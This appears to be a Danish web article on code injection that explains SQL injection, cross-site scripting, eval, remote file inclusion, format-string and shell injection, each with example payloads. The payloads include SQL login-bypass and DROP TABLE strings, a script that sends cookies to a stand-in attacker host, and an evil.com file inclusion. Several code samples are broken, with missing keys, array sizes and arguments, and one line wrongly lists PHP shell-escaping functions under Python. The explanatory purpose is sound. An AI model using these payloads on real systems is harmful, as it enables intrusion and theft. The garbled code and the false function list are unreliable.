Kodeinjektion

SQL-injektionRediger

Hovedartikel: SQL-injektion

SQL-injektion udnytter syntaksen i SQL til at injicere kommandoer, der kan læse eller ændre en database eller kompromittere betydningen af den oprindelige forespørgsel.

Tænk f.eks. på en webside, der har to felter, hvor brugerne kan indtaste et brugernavn og en adgangskode. Koden bag siden genererer en SQL-forespørgsel for at kontrollere adgangskoden i forhold til listen over brugernavne:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'

Hvis denne forespørgsel returnerer nogen rækker, er der givet adgang. Men hvis den ondsindede bruger indtaster et gyldigt brugernavn og injicerer en gyldig kode (password' OR '1'='1) i feltet Password, vil den resulterende forespørgsel se således ud:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'

I eksemplet ovenfor antages “Password” at være blank eller en uskyldig streng. “'1'='1'” vil altid være sandt, og der vil blive returneret mange rækker, hvilket giver adgang.

Teknikken kan forfines, så der kan køres flere sætninger, eller sågar indlæses og køres eksterne programmer.

Antag en forespørgsel med følgende format:

SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '

Hvis en modstander har følgende som input:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

Password: 'OR"='

vil forespørgslen blive analyseret til at være:

SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

Resultatet er, at tabellen User bliver fjernet fra databasen. Dette sker, fordi symbolet ; betyder afslutningen på en kommando og starten på en ny kommando. -- betegner starten på en kommentar.

Cross-site scriptingRediger

Hovedartikel: Cross-site scripting

Kodeinjektion er ondsindet injektion eller indførelse af kode i et program på ondsindet vis. Nogle webservere har et gæstebogsscript, som accepterer små beskeder fra brugerne, og som typisk modtager beskeder som:

Very nice site!

En ondsindet person kan imidlertid kende til en sårbarhed i gæstebogen med hensyn til kodeinjektion og indtaster en besked som:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Hvis en anden bruger ser siden, vil den injicerede kode blive eksekveret. Denne kode kan gøre det muligt for en angriber at udgive sig for at være en anden bruger. Men den samme softwarefejl kan ved et uheld udløses af en ubetænksom bruger, hvilket vil få webstedet til at vise dårlig HTML-kode.

HTML- og scriptinjektion er et populært emne, der almindeligvis betegnes “cross-site scripting” eller “XSS”. XSS henviser til en injektionsfejl, hvorved brugerinput til et webskript eller noget i den retning placeres i output-HTML uden at blive kontrolleret for HTML-kode eller scripting.

Mange af disse problemer er relateret til fejlagtige antagelser om, hvilke inputdata der er mulige, eller virkningerne af særlige data.

Sårbarheder ved dynamisk evalueringRediger

En eval()-injektionssårbarhed opstår, når en angriber kan kontrollere hele eller en del af en inputstreng, der føres ind i et eval()-funktionsopkald.

$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');

Argumentet “eval” vil blive behandlet som PHP, så der kan tilføjes yderligere kommandoer. Hvis “arg” f.eks. er sat til “10; system('/bin/echo uh-oh')“, køres der yderligere kode, som udfører et program på serveren, i dette tilfælde “/bin/echo“.

Object injectionRediger

PHP tillader serialisering og deserialisering af hele objekter. Hvis der tillades ikke-pålidelige input i deserialiseringsfunktionen, er det muligt at overskrive eksisterende klasser i programmet og udføre ondsindede angreb. Et sådant angreb på Joomla blev fundet i 2013.

Remote file injectionRediger

Hovedartikel:

Se på dette PHP-program (som indeholder en fil, der er specificeret ved anmodning):

<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');

Eksemplet kan læses som om, at kun farvefiler som blue.php og red.php kan indlæses, mens angribere kan angive COLOR=http://evil.com/exploit, hvilket får PHP til at indlæse den eksterne fil.

Format specifier injectionRediger

Hovedside

Hovedartikel: Ukontrolleret formatstreng

Formatstrengfejl opstår oftest, når en programmør ønsker at udskrive en streng, der indeholder data leveret af brugeren. Programmøren kan ved en fejl skrive printf(buffer) i stedet for printf("%s", buffer). Den første version fortolker buffer som en formatstreng og analyserer eventuelle formateringsinstruktioner, som den måtte indeholde. Den anden version udskriver blot en streng til skærmen, som programmøren havde tænkt sig. Overvej følgende korte C-program, der har en lokal variabel char array password, som indeholder en adgangskode; programmet spørger brugeren om et heltal og en streng og udsender derefter den af brugeren leverede streng som ekko.

 char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;

Hvis brugerinput er fyldt med en liste af formatspecifikatorer som %s%s%s%s%s%s%s%s , så vil printf() begynde at læse fra stakken. Til sidst vil en af %s-formatspecifikatorerne få adgang til adressen password , som befinder sig på stakken, og udskrive Password1 til skærmen.

Shell-injektionRediger

Shell-injektion (eller kommandoinjektion) er opkaldt efter Unix-shells, men gælder for de fleste systemer, der tillader software at udføre en kommandolinje programmatisk. Her er et eksempel på et sårbart tcsh-script:

#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches

Hvis ovenstående er gemt i den eksekverbare fil ./check, vil shell-kommandoen ./check " 1 ) evil" forsøge at udføre den injicerede shell-kommando evil i stedet for at sammenligne argumentet med det konstante. Her er den kode, der angribes, den kode, der forsøger at kontrollere parameteren, selve den kode, der måske havde forsøgt at validere parameteren for at forsvare sig mod et angreb.

Alle funktioner, der kan bruges til at sammensætte og køre en shell-kommando, er et potentielt middel til at iværksætte et shell-injektionsangreb. Blandt disse er system(), StartProcess() og System.Diagnostics.Process.Start().

Klient-server-systemer som f.eks. interaktion mellem webbrowser og webservere er potentielt sårbare over for shell-injektion. Overvej følgende korte PHP-program, der kan køre på en webserver for at køre et eksternt program kaldet funnytext for at erstatte et ord, som brugeren har sendt, med et andet ord.

<?phppassthru("/bin/funnytext " . $_GET);

Den passthru i ovenstående sammensætter en shell-kommando, som derefter udføres af webserveren. Da en del af kommandoen, som den sammensætter, er hentet fra den URL, som webbrowseren har angivet, kan URL’en således injicere skadelige shell-kommandoer. Man kan injicere kode i dette program på flere måder ved at udnytte syntaksen for forskellige shell-funktioner (denne liste er ikke udtømmende):

Shell-funktion USER_INPUT værdi Resulting shell command Explanation
Sequential execution ; malicious_command ; malicious_command /bin/funnytext ; malicious_command Eksekverer funnytext, derefter eksekveres malicious_command.
Pipelines | malicious_command /bin/funnytext | malicious_command Sender output af funnytext som input til malicious_command.
Kommandosubstitution `malicious_command` `malicious_command` /bin/funnytext `malicious_command` Sender output af malicious_command som argumenter til funnytext.
Kommandosubstitution $(malicious_command) /bin/funnytext $(malicious_command) Sender output af malicious_command som argumenter til funnytext.
AND list && malicious_command /bin/funnytext && malicious_command Udfører malicious_command, hvis funnytext returnerer en exitstatus på 0 (succes).
OR list || malicious_command /bin/funnytext || malicious_command Afvikler malicious_command, hvis funnytext returnerer en udgangsstatus, der ikke er nul (fejl).
Output redirection > ~/.bashrc /bin/funnytext > ~/.bashrc Overskriver indholdet af filen .bashrc med output af funnytext.
Input redirection < ~/.bashrc /bin/funnytext < ~/.bashrc Sender indholdet af filen .bashrc som input til funnytext.

Nogle sprog tilbyder funktioner til korrekt escape eller citationstegn, der bruges til at konstruere shell-kommandoer:

  • PHP: escapeshellarg() og escapeshellcmd()
  • Python: escapeshellarg() og escapeshellcmd()
  • Python: shlex.quote()

Dette lægger dog stadig byrden på programmørerne, som skal kende/lære om disse funktioner og huske at gøre brug af dem, hver gang de bruger shell-kommandoer. Ud over at bruge disse funktioner anbefales det også at validere eller rense brugerinput.

Et sikrere alternativ er at bruge API’er, der afvikler eksterne programmer direkte i stedet for gennem en shell, hvilket forhindrer muligheden for shell-injektion. Disse API’er har dog en tendens til ikke at understøtte forskellige bekvemmelighedsfunktioner i shells og/eller til at være mere besværlige/forvirrede i forhold til en kortfattet shell-syntaks.

Skriv et svar

Din e-mailadresse vil ikke blive publiceret.